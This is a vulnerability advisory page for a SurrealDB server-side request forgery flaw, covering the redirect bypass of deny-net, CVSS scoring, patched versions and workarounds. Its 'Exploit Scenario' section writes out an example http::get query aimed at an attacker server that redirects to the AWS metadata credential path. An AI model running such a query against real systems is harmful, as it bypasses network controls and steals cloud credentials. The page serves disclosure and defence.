Skip to main content

SurrealDB CVE-2025-71398

| EUVDEUVD-2025-210489 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-18 VulnCheck GHSA-xhwm-9486-8rgr
5.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to SurrealDB with low-privilege credentials
  2. Delivery
    Deploy public HTTP server configured to redirect to denied internal IP
  3. Exploit
    Submit SurrealQL query invoking http::* against attacker-controlled server
  4. Execution
    SurrealDB follows 301/307 redirect to denied address without re-checking deny-net
  5. Persist
    Internal endpoint response returned to attacker in query result
  6. Impact
    Extract sensitive data or credentials from response

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires SurrealDB to be started with outbound HTTP capability enabled in deny-list mode - specifically, the --allow-net flag must be present combined with --deny-net targeting the addresses the attacker wishes to reach (e.g., 'surreal start --allow-net --deny-net 10.0.0.0/8'). The attacker must hold a valid SurrealDB credential with sufficient privileges to execute http::* built-in functions. The attacker must also operate or control an internet-accessible HTTP server capable of issuing 301 or 307 redirect responses to the target internal address. Exploitation is not possible against instances running patched versions (2.0.5, 2.1.5, or 2.2.2+), instances configured with an allowlist-only approach (no --deny-net), or instances where the http::* capability has not been enabled. The authentication requirement (PR:L per CVSS 4.0 vector) limits exposure to authenticated users - unauthenticated external actors cannot exploit this directly.

Impact

The CVSS 4.0 score of 5.8 with vector AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H accurately reflects the dual nature of this flaw: the vulnerable system (SurrealDB itself) sees only low integrity and availability impact, but the subsequent-system impact is rated high across confidentiality, integrity, and availability because the SSRF provides a pivot into internal infrastructure. The AT:P modifier captures the concrete prerequisite - the attacker must operate or control a public HTTP server capable of issuing redirects - which raises the practical bar above trivial. PR:L confirms exploitation requires a valid authenticated session, limiting exposure to trusted-but-malicious insiders or compromised accounts rather than unauthenticated external actors. Exploitation is not confirmed in the wild (not in CISA KEV), and no public POC has been identified; the discovery context is a formal security audit rather than threat intelligence reporting. Real-world risk is highest in cloud environments using IMDSv1 (e.g., AWS EC2 without IMDSv2 enforcement), Kubernetes metadata APIs, or internal services that trust network position over authentication - all canonical SSRF escalation paths. Risk is materially reduced in on-premise deployments where internal services enforce their own authentication regardless of source IP.

Exploit ScenarioDerived

An authenticated SurrealDB user with access to execute http::* functions stands up a lightweight HTTP server on a public IP address and configures it to return HTTP 307 redirects targeting 169.254.169.254 (AWS IMDSv1 metadata endpoint). The attacker submits a SurrealQL statement such as 'RETURN http::get("http://attacker-public-server/latest/meta-data/iam/security-credentials/")'; SurrealDB follows the redirect to the denied address and returns the IAM credential response directly in the query result. No public exploit code has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 18, 2026

Server-side request forgery in SurrealDB before versions 2.0.5, 2.1.5, and 2.2.2 allows authenticated users to circumvent administrator-configured deny-net network restrictions by exploiting unchecked HTTP redirects in the native http::* query functions. An attacker operates a public HTTP server that issues 301 or 307 redirects to denied internal addresses; SurrealDB follows those redirects without re-validating the destination against the deny-net ACL, and returns the internal response directly to the attacker's query result. No public exploit code has been identified at time of analysis; this issue was discovered by cure53 during a commissioned security audit and penetration test of SurrealDB.

RemediationAI

Upgrade SurrealDB to one of the three patched releases - 2.0.5, 2.1.5, or 2.2.2 - which introduce an HTTP redirect limit and re-validate each redirect destination against the configured network capability list before following it. The upstream code fix is tracked in pull request https://github.com/surrealdb/surrealdb/pull/5597. If an immediate upgrade is not feasible, convert the network capability configuration from a deny-list to an explicit allowlist using 'surreal start --allow-net <trusted-cidr-only>' (or the SURREAL_CAPS_ALLOW_NET environment variable), permitting only the specific, fully trusted external endpoints the application actually calls - this eliminates the bypass vector entirely because no implicit broad access exists to redirect into. Be aware that switching to an allowlist will break any http::* calls to endpoints not explicitly listed, so auditing current usage before applying this workaround is necessary. The most conservative compensating control, if outbound HTTP calls are not required, is to start SurrealDB without any --allow-net flag, which disables the http::* capability entirely. Full advisory and workaround details are at https://github.com/surrealdb/surrealdb/security/advisories/GHSA-5q9x-554g-9jgg.

Affected VersionsENISA

surrealdb 0 <2.1.5
surrealdb 0 <2.0.5
surrealdb 0 <2.2.2

Affected Packages

cargo surrealdb fix: 2.0.5, 2.1.5, 2.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in cargo

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SurrealDB is a multi-model database written in Rust that exposes built-in http::* functions (e.g., http::get, http::post) allowing SurrealQL queries to make outbound HTTP calls. Administrators restrict outbound access using the --allow-net and --deny-net capability flags - for example, 'surreal start --allow-net --deny-net 10.0.0.0/8' blocks access to RFC-1918 space while permitting all other destinations. The root cause is CWE-918 (Server-Side Request Forgery): the deny-net check is evaluated only against the initial request URL, not against redirect destinations. When an intermediate server returns HTTP 301 or 307 pointing to a denied IP range, SurrealDB's HTTP client follows the redirect without re-running the ACL check, fully bypassing the restriction. The affected package is identified by CPE cpe:2.3:a:surrealdb:surrealdb:*:*:*:*:*:*:*:* covering the Rust crate rust/surrealdb across all vulnerable version lines.

Know when Surrealdb gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H
vuln.today AI 9.1 CRITICAL

Network-exploitable by authenticated user; scope changes because impact falls on internal systems beyond SurrealDB; confidentiality high due to potential credential retrieval from internal services like IMDSv1.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

1
Patch available
Jul 18, 2026 - 15:17 EUVD

DescriptionCVE.org

SurrealDB before 2.2.2 fails to validate HTTP redirects in http functions, allowing authenticated users to bypass deny-net restrictions by redirecting to blocked IP addresses. Attackers can host a public server that redirects to denied network targets, enabling server-side request forgery to access internal endpoints and retrieve sensitive information.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Low
niche multi-model database, limited enterprise production footprint
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +29
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

CVE-2025-71392 CRITICAL
9.4 Jul 18

Privilege escalation via second-order SurrealQL injection in SurrealDB before 2.0.5, 2.1.5, and 2.2.2 lets an authentica

CVE-2026-134292 CRITICAL
9.3 Nov 21

SurrealDB versions 1.0.0 through 3.x (before 4.0.0) fail to enforce built-in function capability checks inside the embed

CVE-2026-63756 CRITICAL
9.2 Jul 20

Privilege escalation in SurrealDB before v3.1.0 lets unauthenticated attackers hijack the privileges of concurrently-act

CVE-2026-134299 HIGH
8.7 Nov 21

Memory exhaustion in SurrealDB 3.0.4 through 3.x lets unauthenticated remote clients pin up to 64 MiB of in-flight WebSo

CVE-2026-134293 HIGH
8.8 Nov 21

SQL injection in the Model Context Protocol (MCP) server component of SurrealDB 3.1.0 through 3.x (fixed in 4.0.0) allow

CVE-2026-134295 HIGH
8.7 Nov 21

Authenticated tenants of SurrealDB 3.0.0 through 3.x can escape key-based ACL boundaries in direct filesystem buckets an

CVE-2026-134291 HIGH
8.7 Nov 21

Filesystem bucket path traversal in SurrealDB 3.0.0 before 4.0.0 allows an attacker with bucket-operation access to read

CVE-2026-134309 HIGH
8.7 Nov 21

SurrealDB 1.0.0 through 3.x lets an authenticated user with only the database-level VIEWER role read, modify, and delete

CVE-2026-121417 HIGH
8.8 Nov 03

Use-after-free in SurrealDB Core before 3.3.0 can crash or corrupt memory in Rust applications that embed the database a

CVE-2026-134294 HIGH
8.7 Nov 21

Cross-bucket file disclosure and modification on Windows affects SurrealDB versions 3.0.0 up to but not including 4.0.0

CVE-2026-63760 HIGH
8.7 Jul 20

Denial of service in SurrealDB before 3.1.0 lets an unauthenticated remote attacker crash the database with a single Web

CVE-2026-63747 HIGH
8.7 Jul 20

Denial of service in SurrealDB before 3.1.0 lets an unauthenticated remote attacker crash the entire database process wi

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy